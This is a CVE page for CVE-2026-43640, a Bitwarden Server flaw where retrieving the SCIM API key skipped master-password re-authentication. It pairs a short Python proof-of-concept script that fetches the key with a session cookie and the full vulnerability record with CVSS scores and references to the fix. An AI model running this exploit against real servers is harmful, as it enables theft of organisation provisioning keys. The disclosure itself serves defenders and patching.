CVE-2026-43640

import requests # Exploit Title: Bitwarden Server SCIM Key Retrieval without Re-auth # Description: Retrieve SCIM key using a valid session cookie without master password. target_url = "https://bitwarden.example.com/scim/v2/organizations/<org_id>/key" session_cookie = "<valid_session_cookie>" headers = { "Cookie": f"BitwardenSession={session_cookie}", "Content-Type": "application/json" } try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Successfully retrieved SCIM Key:") print(response.text) else: print(f"[-] Failed to retrieve key. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-43640", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:37.110", "lastModified": "2026-05-11T18:16:37.110", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user with SCIM management privileges to obtain the key using only a valid session."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-303"}]}], "references": [{"url": "https://github.com/bitwarden/server/commit/eb251d9bf80724c87b187661783b9354d1784083", "source": "[email protected]"}, {"url": "https://github.com/bitwarden/server/pull/7403", "source": "[email protected]"}, {"url": "https://github.com/bitwarden/server/releases/tag/v2026.4.1", "source": "[email protected]"}, {"url": "https://sanjokkarki.com.np/blog/bitwarden-scim-key-bypass", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bitwarden-server-authentication-bypass-via-scim-api-key", "source": "[email protected]"}]}}